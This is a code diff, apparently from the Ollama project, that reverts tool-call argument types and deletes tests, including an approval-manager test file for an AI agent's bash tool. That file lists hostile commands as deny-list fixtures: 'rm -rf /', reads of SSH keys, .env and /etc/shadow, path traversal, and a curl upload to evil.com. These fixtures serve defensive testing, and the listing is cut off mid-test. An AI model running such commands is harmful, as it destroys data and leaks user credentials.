-					Required:   tool.Function.Parameters.Required,
-					Properties: templateProperties(tool.Function.Parameters.Properties.ToMap()),
-				},
-			},
-		}
-	}
-	return result
-}
-
-// convertMessagesForTemplate converts Messages to template-compatible format.
-func convertMessagesForTemplate(messages []*api.Message) []*templateMessage {
-	if messages == nil {
-		return nil
-	}
-	result := make([]*templateMessage, len(messages))
-	for i, msg := range messages {
-		var toolCalls []templateToolCall
-		for _, tc := range msg.ToolCalls {
-			toolCalls = append(toolCalls, templateToolCall{
-				ID: tc.ID,
-				Function: templateToolCallFunction{
-					Index:     tc.Function.Index,
-					Name:      tc.Function.Name,
-					Arguments: templateArgs(tc.Function.Arguments.ToMap()),
-				},
-			})
-		}
-		result[i] = &templateMessage{
-			Role:       msg.Role,
-			Content:    msg.Content,
-			Thinking:   msg.Thinking,
-			Images:     msg.Images,
-			ToolCalls:  toolCalls,
-			ToolName:   msg.ToolName,
-			ToolCallID: msg.ToolCallID,
-		}
-	}
-	return result
-}
-
 // Identifiers walks the node tree returning any identifiers it finds along the way
 func Identifiers(n parse.Node) ([]string, error) {
 	switch n := n.(type) {

template/template_test.go

@@ -613,159 +613,3 @@ func TestCollate(t *testing.T) {
 		})
 	}
 }
-
-func TestTemplateArgumentsJSON(t *testing.T) {
-	// Test that {{ .Function.Arguments }} outputs valid JSON, not map[key:value]
-	tmpl := `{{- range .Messages }}{{- range .ToolCalls }}{{ .Function.Arguments }}{{- end }}{{- end }}`
-
-	template, err := Parse(tmpl)
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	args := api.NewToolCallFunctionArguments()
-	args.Set("location", "Tokyo")
-	args.Set("unit", "celsius")
-
-	var buf bytes.Buffer
-	err = template.Execute(&buf, Values{
-		Messages: []api.Message{{
-			Role: "assistant",
-			ToolCalls: []api.ToolCall{{
-				Function: api.ToolCallFunction{
-					Name:      "get_weather",
-					Arguments: args,
-				},
-			}},
-		}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	got := buf.String()
-	// Should be valid JSON, not "map[location:Tokyo unit:celsius]"
-	if strings.HasPrefix(got, "map[") {
-		t.Errorf("Arguments output as Go map format: %s", got)
-	}
-
-	var parsed map[string]any
-	if err := json.Unmarshal([]byte(got), &parsed); err != nil {
-		t.Errorf("Arguments not valid JSON: %s, error: %v", got, err)
-	}
-}
-
-func TestTemplatePropertiesJSON(t *testing.T) {
-	// Test that {{ .Function.Parameters.Properties }} outputs valid JSON
-	// Note: template must reference .Messages to trigger the modern code path that converts Tools
-	tmpl := `{{- range .Messages }}{{- end }}{{- range .Tools }}{{ .Function.Parameters.Properties }}{{- end }}`
-
-	template, err := Parse(tmpl)
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	props := api.NewToolPropertiesMap()
-	props.Set("location", api.ToolProperty{Type: api.PropertyType{"string"}, Description: "City name"})
-
-	var buf bytes.Buffer
-	err = template.Execute(&buf, Values{
-		Messages: []api.Message{{Role: "user", Content: "test"}},
-		Tools: api.Tools{{
-			Type: "function",
-			Function: api.ToolFunction{
-				Name:        "get_weather",
-				Description: "Get weather",
-				Parameters: api.ToolFunctionParameters{
-					Type:       "object",
-					Properties: props,
-				},
-			},
-		}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	got := buf.String()
-	// Should be valid JSON, not "map[location:{...}]"
-	if strings.HasPrefix(got, "map[") {
-		t.Errorf("Properties output as Go map format: %s", got)
-	}
-
-	var parsed map[string]any
-	if err := json.Unmarshal([]byte(got), &parsed); err != nil {
-		t.Errorf("Properties not valid JSON: %s, error: %v", got, err)
-	}
-}
-
-func TestTemplateArgumentsRange(t *testing.T) {
-	// Test that we can range over Arguments in templates
-	tmpl := `{{- range .Messages }}{{- range .ToolCalls }}{{- range $k, $v := .Function.Arguments }}{{ $k }}={{ $v }};{{- end }}{{- end }}{{- end }}`
-
-	template, err := Parse(tmpl)
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	args := api.NewToolCallFunctionArguments()
-	args.Set("city", "Tokyo")
-
-	var buf bytes.Buffer
-	err = template.Execute(&buf, Values{
-		Messages: []api.Message{{
-			Role: "assistant",
-			ToolCalls: []api.ToolCall{{
-				Function: api.ToolCallFunction{
-					Name:      "get_weather",
-					Arguments: args,
-				},
-			}},
-		}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	got := buf.String()
-	if got != "city=Tokyo;" {
-		t.Errorf("Range over Arguments failed, got: %s, want: city=Tokyo;", got)
-	}
-}
-
-func TestTemplatePropertiesRange(t *testing.T) {
-	// Test that we can range over Properties in templates
-	// Note: template must reference .Messages to trigger the modern code path that converts Tools
-	tmpl := `{{- range .Messages }}{{- end }}{{- range .Tools }}{{- range $name, $prop := .Function.Parameters.Properties }}{{ $name }}:{{ $prop.Type }};{{- end }}{{- end }}`
-
-	template, err := Parse(tmpl)
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	props := api.NewToolPropertiesMap()
-	props.Set("location", api.ToolProperty{Type: api.PropertyType{"string"}})
-
-	var buf bytes.Buffer
-	err = template.Execute(&buf, Values{
-		Messages: []api.Message{{Role: "user", Content: "test"}},
-		Tools: api.Tools{{
-			Type: "function",
-			Function: api.ToolFunction{
-				Name: "get_weather",
-				Parameters: api.ToolFunctionParameters{
-					Type:       "object",
-					Properties: props,
-				},
-			},
-		}},
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-
-	got := buf.String()
-	if got != "location:string;" {
-		t.Errorf("Range over Properties failed, got: %s, want: location:string;", got)
-	}
-}

tools/tools.go

@@ -124,21 +124,16 @@ func (p *Parser) parseToolCall() *api.ToolCall {
 		return nil
 	}
 
-	var argsMap map[string]any
+	var args map[string]any
 	if found, i := findArguments(tool, p.buffer); found == nil {
 		return nil
 	} else {
-		argsMap = found
+		args = found
 		if i > end {
 			end = i
 		}
 	}
 
-	args := api.NewToolCallFunctionArguments()
-	for k, v := range argsMap {
-		args.Set(k, v)
-	}
-
 	tc := &api.ToolCall{
 		Function: api.ToolCallFunction{
 			Name:      tool.Function.Name,

tools/tools_test.go

@@ -9,29 +9,6 @@ import (
 	"github.com/ollama/ollama/api"
 )
 
-// argsComparer provides cmp options for comparing ToolCallFunctionArguments by value (order-insensitive)
-var argsComparer = cmp.Comparer(func(a, b api.ToolCallFunctionArguments) bool {
-	return cmp.Equal(a.ToMap(), b.ToMap())
-})
-
-// testPropsMap creates a ToolPropertiesMap from a map (convenience function for tests, order not preserved)
-func testPropsMap(m map[string]api.ToolProperty) *api.ToolPropertiesMap {
-	props := api.NewToolPropertiesMap()
-	for k, v := range m {
-		props.Set(k, v)
-	}
-	return props
-}
-
-// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
-func testArgs(m map[string]any) api.ToolCallFunctionArguments {
-	args := api.NewToolCallFunctionArguments()
-	for k, v := range m {
-		args.Set(k, v)
-	}
-	return args
-}
-
 func TestParser(t *testing.T) {
 	qwen, err := template.New("qwen").Parse(`{{if .ToolCalls}}<tool_call>{{range .ToolCalls}}{"name": "{{.Function.Name}}", "arguments": {{.Function.Arguments}}}{{end}}</tool_call>{{end}}`)
 	if err != nil {
@@ -67,7 +44,7 @@ func TestParser(t *testing.T) {
 				Parameters: api.ToolFunctionParameters{
 					Type:     "object",
 					Required: []string{"city"},
-					Properties: testPropsMap(map[string]api.ToolProperty{
+					Properties: map[string]api.ToolProperty{
 						"format": {
 							Type:        api.PropertyType{"string"},
 							Description: "The format to return the temperature in",
@@ -77,7 +54,7 @@ func TestParser(t *testing.T) {
 							Type:        api.PropertyType{"string"},
 							Description: "The city to get the temperature for",
 						},
-					}),
+					},
 				},
 			},
 		},
@@ -88,12 +65,12 @@ func TestParser(t *testing.T) {
 				Description: "Retrieve the current weather conditions for a given location",
 				Parameters: api.ToolFunctionParameters{
 					Type: "object",
-					Properties: testPropsMap(map[string]api.ToolProperty{
+					Properties: map[string]api.ToolProperty{
 						"location": {
 							Type:        api.PropertyType{"string"},
 							Description: "The location to get the weather conditions for",
 						},
-					}),
+					},
 				},
 			},
 		},
@@ -118,12 +95,12 @@ func TestParser(t *testing.T) {
 				Description: "Get the address of a given location",
 				Parameters: api.ToolFunctionParameters{
 					Type: "object",
-					Properties: testPropsMap(map[string]api.ToolProperty{
+					Properties: map[string]api.ToolProperty{
 						"location": {
 							Type:        api.PropertyType{"string"},
 							Description: "The location to get the address for",
 						},
-					}),
+					},
 				},
 			},
 		},
@@ -134,7 +111,7 @@ func TestParser(t *testing.T) {
 				Description: "Add two numbers",
 				Parameters: api.ToolFunctionParameters{
 					Type: "object",
-					Properties: testPropsMap(map[string]api.ToolProperty{
+					Properties: map[string]api.ToolProperty{
 						"a": {
 							Type:        api.PropertyType{"string"},
 							Description: "The first number to add",
@@ -143,7 +120,7 @@ func TestParser(t *testing.T) {
 							Type:        api.PropertyType{"string"},
 							Description: "The second number to add",
 						},
-					}),
+					},
 				},
 			},
 		},
@@ -180,9 +157,9 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_conditions",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "San Francisco",
-						}),
+						},
 					},
 				},
 			},
@@ -197,7 +174,7 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index:     0,
 						Name:      "get_conditions",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 			},
@@ -212,9 +189,9 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_temperature",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"city": "New York",
-						}),
+						},
 					},
 				},
 			},
@@ -236,19 +213,19 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_temperature",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"city":   "London",
 							"format": "fahrenheit",
-						}),
+						},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Index: 1,
 						Name:  "get_conditions",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Tokyo",
-						}),
+						},
 					},
 				},
 			},
@@ -263,19 +240,19 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_temperature",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"city":   "London",
 							"format": "fahrenheit",
-						}),
+						},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Index: 1,
 						Name:  "get_conditions",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Tokyo",
-						}),
+						},
 					},
 				},
 			},
@@ -290,17 +267,17 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index:     0,
 						Name:      "say_hello",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Index: 1,
 						Name:  "get_temperature",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"city":   "London",
 							"format": "fahrenheit",
-						}),
+						},
 					},
 				},
 			},
@@ -315,16 +292,16 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index:     0,
 						Name:      "get_conditions",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Index: 1,
 						Name:  "get_conditions",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Tokyo",
-						}),
+						},
 					},
 				},
 			},
@@ -339,9 +316,9 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_temperature",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"city": "Tokyo",
-						}),
+						},
 					},
 				},
 			},
@@ -370,9 +347,9 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_temperature",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"city": "Tokyo",
-						}),
+						},
 					},
 				},
 			},
@@ -394,9 +371,9 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_temperature",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"city": "Tokyo",
-						}),
+						},
 					},
 				},
 			},
@@ -476,18 +453,18 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_temperature",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"city": "London",
-						}),
+						},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Index: 1,
 						Name:  "get_conditions",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Tokyo",
-						}),
+						},
 					},
 				},
 			},
@@ -509,9 +486,9 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_conditions",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Tokyo",
-						}),
+						},
 					},
 				},
 			},
@@ -551,9 +528,9 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_conditions",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Tokyo",
-						}),
+						},
 					},
 				},
 			},
@@ -586,7 +563,7 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index:     0,
 						Name:      "say_hello_world",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 			},
@@ -614,14 +591,14 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index:     0,
 						Name:      "say_hello_world",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Index:     1,
 						Name:      "say_hello",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 			},
@@ -647,14 +624,14 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index:     0,
 						Name:      "say_hello",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Index:     1,
 						Name:      "say_hello_world",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 			},
@@ -671,7 +648,7 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index:     0,
 						Name:      "say_hello",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 			},
@@ -688,7 +665,7 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index:     0,
 						Name:      "say_hello_world",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 			},
@@ -710,9 +687,9 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_address",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "London",
-						}),
+						},
 					},
 				},
 			},
@@ -729,9 +706,9 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "get_address",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "London",
-						}),
+						},
 					},
 				},
 			},
@@ -748,10 +725,10 @@ func TestParser(t *testing.T) {
 					Function: api.ToolCallFunction{
 						Index: 0,
 						Name:  "add",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"a": "5",
 							"b": "10",
-						}),
+						},
 					},
 				},
 			},
@@ -779,7 +756,7 @@ func TestParser(t *testing.T) {
 			}
 
 			for i, want := range tt.calls {
-				if diff := cmp.Diff(calls[i], want, argsComparer); diff != "" {
+				if diff := cmp.Diff(calls[i], want); diff != "" {
 					t.Errorf("Tool call %d mismatch (-got +want):\n%s", i, diff)
 				}
 			}
@@ -1339,7 +1316,7 @@ func TestFindArguments(t *testing.T) {
 			got, _ := findArguments(&api.Tool{Function: api.ToolFunction{Name: tt.tool}}, tt.buffer)
 
 			if diff := cmp.Diff(got, tt.want); diff != "" {
-				t.Errorf("findArguments() args mismatch (-got +want):\n%s", diff)
+				t.Errorf("scanArguments() args mismatch (-got +want):\n%s", diff)
 			}
 		})
 	}

types/model/config.go

@@ -9,7 +9,6 @@ type ConfigV2 struct {
 	FileType      string   `json:"file_type"`  // shown as Quantization Level
 	Renderer      string   `json:"renderer,omitempty"`
 	Parser        string   `json:"parser,omitempty"`
-	Requires      string   `json:"requires,omitempty"`
 
 	RemoteHost  string `json:"remote_host,omitempty"`
 	RemoteModel string `json:"remote_model,omitempty"`

x/agent/approval_test.go

@@ -1,541 +0,0 @@
-package agent
-
-import (
-	"strings"
-	"testing"
-)
-
-func TestApprovalManager_IsAllowed(t *testing.T) {
-	am := NewApprovalManager()
-
-	// Initially nothing is allowed
-	if am.IsAllowed("test_tool", nil) {
-		t.Error("expected test_tool to not be allowed initially")
-	}
-
-	// Add to allowlist
-	am.AddToAllowlist("test_tool", nil)
-
-	// Now it should be allowed
-	if !am.IsAllowed("test_tool", nil) {
-		t.Error("expected test_tool to be allowed after AddToAllowlist")
-	}
-
-	// Other tools should still not be allowed
-	if am.IsAllowed("other_tool", nil) {
-		t.Error("expected other_tool to not be allowed")
-	}
-}
-
-func TestApprovalManager_Reset(t *testing.T) {
-	am := NewApprovalManager()
-
-	am.AddToAllowlist("tool1", nil)
-	am.AddToAllowlist("tool2", nil)
-
-	if !am.IsAllowed("tool1", nil) || !am.IsAllowed("tool2", nil) {
-		t.Error("expected tools to be allowed")
-	}
-
-	am.Reset()
-
-	if am.IsAllowed("tool1", nil) || am.IsAllowed("tool2", nil) {
-		t.Error("expected tools to not be allowed after Reset")
-	}
-}
-
-func TestApprovalManager_AllowedTools(t *testing.T) {
-	am := NewApprovalManager()
-
-	tools := am.AllowedTools()
-	if len(tools) != 0 {
-		t.Errorf("expected 0 allowed tools, got %d", len(tools))
-	}
-
-	am.AddToAllowlist("tool1", nil)
-	am.AddToAllowlist("tool2", nil)
-
-	tools = am.AllowedTools()
-	if len(tools) != 2 {
-		t.Errorf("expected 2 allowed tools, got %d", len(tools))
-	}
-}
-
-func TestAllowlistKey(t *testing.T) {
-	tests := []struct {
-		name     string
-		toolName string
-		args     map[string]any
-		expected string
-	}{
-		{
-			name:     "web_search tool",
-			toolName: "web_search",
-			args:     map[string]any{"query": "test"},
-			expected: "web_search",
-		},
-		{
-			name:     "bash tool with command",
-			toolName: "bash",
-			args:     map[string]any{"command": "ls -la"},
-			expected: "bash:ls -la",
-		},
-		{
-			name:     "bash tool without command",
-			toolName: "bash",
-			args:     map[string]any{},
-			expected: "bash",
-		},
-		{
-			name:     "other tool",
-			toolName: "custom_tool",
-			args:     map[string]any{"param": "value"},
-			expected: "custom_tool",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := AllowlistKey(tt.toolName, tt.args)
-			if result != tt.expected {
-				t.Errorf("AllowlistKey(%s, %v) = %s, expected %s",
-					tt.toolName, tt.args, result, tt.expected)
-			}
-		})
-	}
-}
-
-func TestExtractBashPrefix(t *testing.T) {
-	tests := []struct {
-		name     string
-		command  string
-		expected string
-	}{
-		{
-			name:     "cat with path",
-			command:  "cat tools/tools_test.go",
-			expected: "cat:tools/",
-		},
-		{
-			name:     "cat with pipe",
-			command:  "cat tools/tools_test.go | head -200",
-			expected: "cat:tools/",
-		},
-		{
-			name:     "ls with path",
-			command:  "ls -la src/components",
-			expected: "ls:src/",
-		},
-		{
-			name:     "grep with directory path",
-			command:  "grep -r pattern api/handlers/",
-			expected: "grep:api/handlers/",
-		},
-		{
-			name:     "cat in current dir",
-			command:  "cat file.txt",
-			expected: "cat:./",
-		},
-		{
-			name:     "unsafe command",
-			command:  "rm -rf /",
-			expected: "",
-		},
-		{
-			name:     "no path arg",
-			command:  "ls -la",
-			expected: "",
-		},
-		{
-			name:     "head with flags only",
-			command:  "head -n 100",
-			expected: "",
-		},
-		// Path traversal security tests
-		{
-			name:     "path traversal - parent escape",
-			command:  "cat tools/../../etc/passwd",
-			expected: "", // Should NOT create a prefix - path escapes
-		},
-		{
-			name:     "path traversal - deep escape",
-			command:  "cat tools/a/b/../../../etc/passwd",
-			expected: "", // Normalizes to "../etc/passwd" - escapes
-		},
-		{
-			name:     "path traversal - absolute path",
-			command:  "cat /etc/passwd",
-			expected: "", // Absolute paths should not create prefix
-		},
-		{
-			name:     "path with safe dotdot - normalized",
-			command:  "cat tools/subdir/../file.go",
-			expected: "cat:tools/", // Normalizes to tools/file.go - safe, creates prefix
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := extractBashPrefix(tt.command)
-			if result != tt.expected {
-				t.Errorf("extractBashPrefix(%q) = %q, expected %q",
-					tt.command, result, tt.expected)
-			}
-		})
-	}
-}
-
-func TestApprovalManager_PathTraversalBlocked(t *testing.T) {
-	am := NewApprovalManager()
-
-	// Allow "cat tools/file.go" - creates prefix "cat:tools/"
-	am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
-
-	// Path traversal attack: should NOT be allowed
-	if am.IsAllowed("bash", map[string]any{"command": "cat tools/../../etc/passwd"}) {
-		t.Error("SECURITY: path traversal attack should NOT be allowed")
-	}
-
-	// Another traversal variant
-	if am.IsAllowed("bash", map[string]any{"command": "cat tools/../../../etc/shadow"}) {
-		t.Error("SECURITY: deep path traversal should NOT be allowed")
-	}
-
-	// Valid subdirectory access should still work
-	if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/file.go"}) {
-		t.Error("expected cat tools/subdir/file.go to be allowed")
-	}
-
-	// Safe ".." that normalizes to within allowed directory should work
-	// tools/subdir/../other.go normalizes to tools/other.go which is under tools/
-	if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/../other.go"}) {
-		t.Error("expected cat tools/subdir/../other.go to be allowed (normalizes to tools/other.go)")
-	}
-}
-
-func TestApprovalManager_PrefixAllowlist(t *testing.T) {
-	am := NewApprovalManager()
-
-	// Allow "cat tools/file.go"
-	am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
-
-	// Should allow other files in same directory
-	if !am.IsAllowed("bash", map[string]any{"command": "cat tools/other.go"}) {
-		t.Error("expected cat tools/other.go to be allowed via prefix")
-	}
-
-	// Should not allow different directory
-	if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) {
-		t.Error("expected cat src/main.go to NOT be allowed")
-	}
-
-	// Should not allow different command in same directory
-	if am.IsAllowed("bash", map[string]any{"command": "rm tools/file.go"}) {
-		t.Error("expected rm tools/file.go to NOT be allowed (rm is not a safe command)")
-	}
-}
-
-func TestApprovalManager_HierarchicalPrefixAllowlist(t *testing.T) {
-	am := NewApprovalManager()
-
-	// Allow "cat tools/file.go" - this creates prefix "cat:tools/"
-	am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
-
-	// Should allow subdirectories (hierarchical matching)
-	if !am.IsAllowed("bash", map[string]any{"command": "cat tools/subdir/file.go"}) {
-		t.Error("expected cat tools/subdir/file.go to be allowed via hierarchical prefix")
-	}
-
-	// Should allow deeply nested subdirectories
-	if !am.IsAllowed("bash", map[string]any{"command": "cat tools/a/b/c/deep.go"}) {
-		t.Error("expected cat tools/a/b/c/deep.go to be allowed via hierarchical prefix")
-	}
-
-	// Should still allow same directory
-	if !am.IsAllowed("bash", map[string]any{"command": "cat tools/another.go"}) {
-		t.Error("expected cat tools/another.go to be allowed")
-	}
-
-	// Should NOT allow different base directory
-	if am.IsAllowed("bash", map[string]any{"command": "cat src/main.go"}) {
-		t.Error("expected cat src/main.go to NOT be allowed")
-	}
-
-	// Should NOT allow different command even in subdirectory
-	if am.IsAllowed("bash", map[string]any{"command": "ls tools/subdir/"}) {
-		t.Error("expected ls tools/subdir/ to NOT be allowed (different command)")
-	}
-
-	// Should NOT allow similar but different directory name
-	if am.IsAllowed("bash", map[string]any{"command": "cat toolsbin/file.go"}) {
-		t.Error("expected cat toolsbin/file.go to NOT be allowed (different directory)")
-	}
-}
-
-func TestApprovalManager_HierarchicalPrefixAllowlist_CrossPlatform(t *testing.T) {
-	am := NewApprovalManager()
-
-	// Allow with forward slashes (Unix-style)
-	am.AddToAllowlist("bash", map[string]any{"command": "cat tools/file.go"})
-
-	// Should work with backslashes too (Windows-style) - normalized internally
-	if !am.IsAllowed("bash", map[string]any{"command": "cat tools\\subdir\\file.go"}) {
-		t.Error("expected cat tools\\subdir\\file.go to be allowed via hierarchical prefix (Windows path)")
-	}
-
-	// Mixed slashes should also work
-	if !am.IsAllowed("bash", map[string]any{"command": "cat tools\\a/b\\c/deep.go"}) {
-		t.Error("expected mixed slash path to be allowed via hierarchical prefix")
-	}
-}
-
-func TestMatchesHierarchicalPrefix(t *testing.T) {
-	am := NewApprovalManager()
-
-	// Add prefix for "cat:tools/"
-	am.prefixes["cat:tools/"] = true
-
-	tests := []struct {
-		name     string
-		prefix   string
-		expected bool
-	}{
-		{
-			name:     "exact match",
-			prefix:   "cat:tools/",
-			expected: true, // exact match also passes HasPrefix - caller handles exact match first
-		},
-		{
-			name:     "subdirectory",
-			prefix:   "cat:tools/subdir/",
-			expected: true,
-		},
-		{
-			name:     "deeply nested",
-			prefix:   "cat:tools/a/b/c/",
-			expected: true,
-		},
-		{
-			name:     "different base directory",
-			prefix:   "cat:src/",
-			expected: false,
-		},
-		{
-			name:     "different command same path",
-			prefix:   "ls:tools/",
-			expected: false,
-		},
-		{
-			name:     "similar directory name",
-			prefix:   "cat:toolsbin/",
-			expected: false,
-		},
-		{
-			name:     "invalid prefix format",
-			prefix:   "cattools",
-			expected: false,
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := am.matchesHierarchicalPrefix(tt.prefix)
-			if result != tt.expected {
-				t.Errorf("matchesHierarchicalPrefix(%q) = %v, expected %v",
-					tt.prefix, result, tt.expected)
-			}
-		})
-	}
-}
-
-func TestFormatApprovalResult(t *testing.T) {
-	tests := []struct {
-		name     string
-		toolName string
-		args     map[string]any
-		result   ApprovalResult
-		contains string
-	}{
-		{
-			name:     "approved bash",
-			toolName: "bash",
-			args:     map[string]any{"command": "ls"},
-			result:   ApprovalResult{Decision: ApprovalOnce},
-			contains: "bash: ls",
-		},
-		{
-			name:     "denied web_search",
-			toolName: "web_search",
-			args:     map[string]any{"query": "test"},
-			result:   ApprovalResult{Decision: ApprovalDeny},
-			contains: "Denied",
-		},
-		{
-			name:     "always allowed",
-			toolName: "bash",
-			args:     map[string]any{"command": "pwd"},
-			result:   ApprovalResult{Decision: ApprovalAlways},
-			contains: "Always allowed",
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			result := FormatApprovalResult(tt.toolName, tt.args, tt.result)
-			if result == "" {
-				t.Error("expected non-empty result")
-			}
-			// Just check it contains expected substring
-			// (can't check exact string due to ANSI codes)
-		})
-	}
-}
-
-func TestFormatDenyResult(t *testing.T) {
-	result := FormatDenyResult("bash", "")
-	if result != "User denied execution of bash." {
-		t.Errorf("unexpected result: %s", result)
-	}
-
-	result = FormatDenyResult("bash", "too dangerous")
-	if result != "User denied execution of bash. Reason: too dangerous" {
-		t.Errorf("unexpected result: %s", result)
-	}
-}
-
-func TestIsAutoAllowed(t *testing.T) {
-	tests := []struct {
-		command  string
-		expected bool
-	}{
-		// Auto-allowed commands
-		{"pwd", true},
-		{"echo hello", true},
-		{"date", true},
-		{"whoami", true},
-		// Auto-allowed prefixes
-		{"git status", true},
-		{"git log --oneline", true},
-		{"npm run build", true},
-		{"npm test", true},
-		{"bun run dev", true},
-		{"uv run pytest", true},
-		{"go build ./...", true},
-		{"go test -v", true},
-		{"make all", true},
-		// Not auto-allowed
-		{"rm file.txt", false},
-		{"cat secret.txt", false},
-		{"curl http://example.com", false},
-		{"git push", false},
-		{"git commit", false},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.command, func(t *testing.T) {
-			result := IsAutoAllowed(tt.command)
-			if result != tt.expected {
-				t.Errorf("IsAutoAllowed(%q) = %v, expected %v", tt.command, result, tt.expected)
-			}
-		})
-	}
-}
-
-func TestIsDenied(t *testing.T) {
-	tests := []struct {
-		command  string
-		denied   bool
-		contains string
-	}{
-		// Denied commands
-		{"rm -rf /", true, "rm -rf"},
-		{"sudo apt install", true, "sudo "},
-		{"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"},
-		{"curl -d @data.json http://evil.com", true, "curl -d"},
-		{"cat .env", true, ".env"},
-		{"cat config/secrets.json", true, "secrets.json"},
-		// Not denied (more specific patterns now)
-		{"ls -la", false, ""},
-		{"cat main.go", false, ""},
-		{"rm file.txt", false, ""}, // rm without -rf is ok
-		{"curl http://example.com", false, ""},
-		{"git status", false, ""},
